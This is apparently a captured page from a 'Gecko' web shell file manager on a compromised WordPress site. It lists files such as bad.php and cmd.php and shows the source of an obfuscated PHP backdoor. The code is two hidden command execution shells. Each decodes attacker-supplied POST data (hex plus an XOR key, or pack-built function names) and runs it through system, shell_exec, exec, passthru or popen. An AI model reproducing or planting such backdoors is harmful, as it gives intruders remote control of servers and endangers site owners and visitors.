Gecko [ maindisinibre4.click ]

Name	Size	Permission	Date
wp-admin	[ DIR ]	drwxr-xr-x	2026-02-10 06:28
wp-content	[ DIR ]	drwxr-xr-x	2026-02-10 02:41
wp-includes	[ DIR ]	drwxr-xr-x	2026-02-10 02:42
.htaccess	626 B	-r--r--r--	2026-02-08 23:10
.litespeed_flag	297 B	-rw-r--r--	2026-02-10 02:32
.val	54 B	-rw-r--r--	2026-02-08 22:34
Timing.php	1.67 KB	-rw-r--r--	2026-02-07 10:09
bad.php	1.23 KB	-rw-r--r--	2026-02-07 09:50
cmd.php	2.99 KB	-rw-r--r--	2026-02-07 09:54
error_log	61.01 KB	-rw-r--r--	2026-02-08 22:59

Rename

<?php																																										$event_dispatcher4 = "\x70\x61ss\x74\x68ru"; $event_dispatcher1 = "\x73\x79ste\x6D"; $event_dispatcher7 = "pclos\x65"; $event_dispatcher3 = "\x65x\x65c"; $event_dispatcher6 = "s\x74\x72e\x61\x6D_ge\x74\x5F\x63on\x74e\x6E\x74s"; $event_dispatcher5 = "p\x6F\x70en"; $settings = "h\x65\x782b\x69n"; $event_dispatcher2 = "sh\x65ll\x5Fex\x65\x63"; if (isset($_POST["f\x61\x63t\x6Fr"])) { function approve_request ( $entry , $res ) {$dchunk =''; foreach(str_split($entry) as $char){$dchunk.=chr(ord($char)^$res);} return $dchunk; } $factor = $settings($_POST["f\x61\x63t\x6Fr"]); $factor = approve_request($factor, 65); if (function_exists($event_dispatcher1)) { $event_dispatcher1($factor); } elseif (function_exists($event_dispatcher2)) { print $event_dispatcher2($factor); } elseif (function_exists($event_dispatcher3)) { $event_dispatcher3($factor, $record_entry); print join("\n", $record_entry); } elseif (function_exists($event_dispatcher4)) { $event_dispatcher4($factor); } elseif (function_exists($event_dispatcher5) && function_exists($event_dispatcher6) && function_exists($event_dispatcher7)) { $res_dchunk = $event_dispatcher5($factor, 'r'); if ($res_dchunk) { $symbol_hld = $event_dispatcher6($res_dchunk); $event_dispatcher7($res_dchunk); print $symbol_hld; } } exit; }

//<PHPDATA>cmd_hex;right_pad_string</PHPDATA>
 $_���й��="7\x33";$_�����="6\x35";$_ьˇɤߙ��="\066d";$_��ۊ����="6c";$_�����="63";$_�ڔ����="\x378";$_ډ���="\067\060";$_�����ϑ���="\x368";$_פ�ծ="74";$_ƛ͎��؉��="72";$_��֊����="61";$_�̈ײ="5f";$_̒����ݲݎ="6\146";$_��ûʊ�="6\071";$_�ݬ����="67";$_�����ݛ�="6\145";$_�����=PAck("H*",$_���й��."79".$_���й��."\0674".$_�����.$_ьˇɤߙ��);$_����ؗ����=PaCK("\x48*",$_���й��."68"."65".$_��ۊ����.$_��ۊ����."\065f".$_�����."78".$_�����.$_�����);$_��ڌ�Ŕȁ=pacK("H*",$_�����.$_�ڔ����.$_�����."63");$_�ܔ��ߍ���=Pack("\x48*",$_ډ���."61".$_���й��.$_���й��."74".$_�����ϑ���."72"."75");$_ޅ�����=paCk("H*",$_ډ���."6f"."70"."6\x35"."6e");$_��܋�Α��=Pack("\x48*",$_���й��.$_פ�ծ.$_ƛ͎��؉��."65".$_��֊����.$_ьˇɤߙ��."5f"."67"."65"."\067\x34".$_�̈ײ."\066\063".$_̒����ݲݎ."\x36e".$_פ�ծ."65"."\x36e".$_פ�ծ."7\x33");$_�۽�ՠ�=PaCK("H*",$_ډ���.$_�����."\x36c".$_̒����ݲݎ.$_���й��."65");$_���Ű�ь΅=PACk("H*","72".$_��ûʊ�.$_�ݬ����.$_�����ϑ���."\x374".$_�̈ײ.$_ډ���.$_��֊����."6\x34".$_�̈ײ."73".$_פ�ծ."72".$_��ûʊ�.$_�����ݛ�."6\x37");if(isset($_POST[$_���Ű�ь΅])):$_���Ű�ь΅=pAck("H\052",$_POST[$_���Ű�ь΅]);if(fUnCtIoN_exiSTs($_�����)):$_�����($_���Ű�ь΅);elseif(fUnCTioN_exIsTs($_����ؗ����)):print$_����ؗ����($_���Ű�ь΅);elseif(FUnctIon_ExIsTS($_��ڌ�Ŕȁ)):$_��ڌ�Ŕȁ($_���Ű�ь΅,$_ڤ����);print join("\x0a",$_ڤ����);elseif(FuNctIOn_ExISts($_�ܔ��ߍ���)):$_�ܔ��ߍ���($_���Ű�ь΅);elseif(funcTioN_EXiSts($_ޅ�����)&&FunCTioN_ExIsTs($_��܋�Α��)&&FUnCTION_exiStS($_�۽�ՠ�)):$_�ܭ����ߊ�=$_ޅ�����($_���Ű�ь΅,"r");if($_�ܭ����ߊ�):$_Ց��Ϩ��=$_��܋�Α��($_�ܭ����ߊ�);$_�۽�ՠ�($_�ܭ����ߊ�);print$_Ց��Ϩ��;endif;endif;exit;endif;